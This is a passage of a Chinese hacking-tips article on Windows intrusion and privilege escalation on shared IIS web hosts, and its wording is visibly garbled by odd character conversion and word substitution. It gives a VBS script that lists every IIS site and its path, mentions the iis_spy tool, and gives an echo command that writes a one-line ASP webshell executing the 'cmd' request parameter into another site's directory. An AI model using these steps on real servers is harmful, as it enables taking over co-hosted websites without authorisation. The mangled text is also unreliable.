本文匯總了Windows滲入與提權(quán)的多個技能，包含：MSSQL查詢闡發(fā)器連接記實斷根、VNC與Radmin的提權(quán)編制、Cmd 下目次的把持技能和Webshell 提權(quán)小技能等。
旁站路徑標題問題：
1、讀網(wǎng)站建設(shè)。
2、用以下VBS：
On Error Resume Next
If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then
MsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs", 4096, "Lilo"
WScript.Quit
End If
Set objservice = GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
Set OService = GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
If Err <> 0 Then WScript.Quit (1)
WScript.Echo Chr(10) & "[" & OService.ServerComment & "]"
For Each Binds In OService.ServerBindings
Web = "{ " & Replace(Binds, ":", " } { ") & " }"
WScript.Echo Replace(Split(Replace(Web, " ", ""), "}{")(2), "}", "")
Next
WScript.Echo "Path : " & VDirObj.Path
End If
Next
3、iis_spy 列舉(注：需要撐持ASPX，反IISSPY的編制：將 activeds.dll，activeds.tlb 降權(quán))。
4、獲得方針站目次，不克不及直接跨的?？梢越?jīng)由過程“echo ^<%execute(request(“cmd”))%^> >>X:\方針目次\X.asp”或“copy 腳本文件 X:\方針目次\X.asp”像方針目次寫進webshell，或還可以嘗嘗type號令。
網(wǎng)站可能目次(注：通常為虛擬主機類)：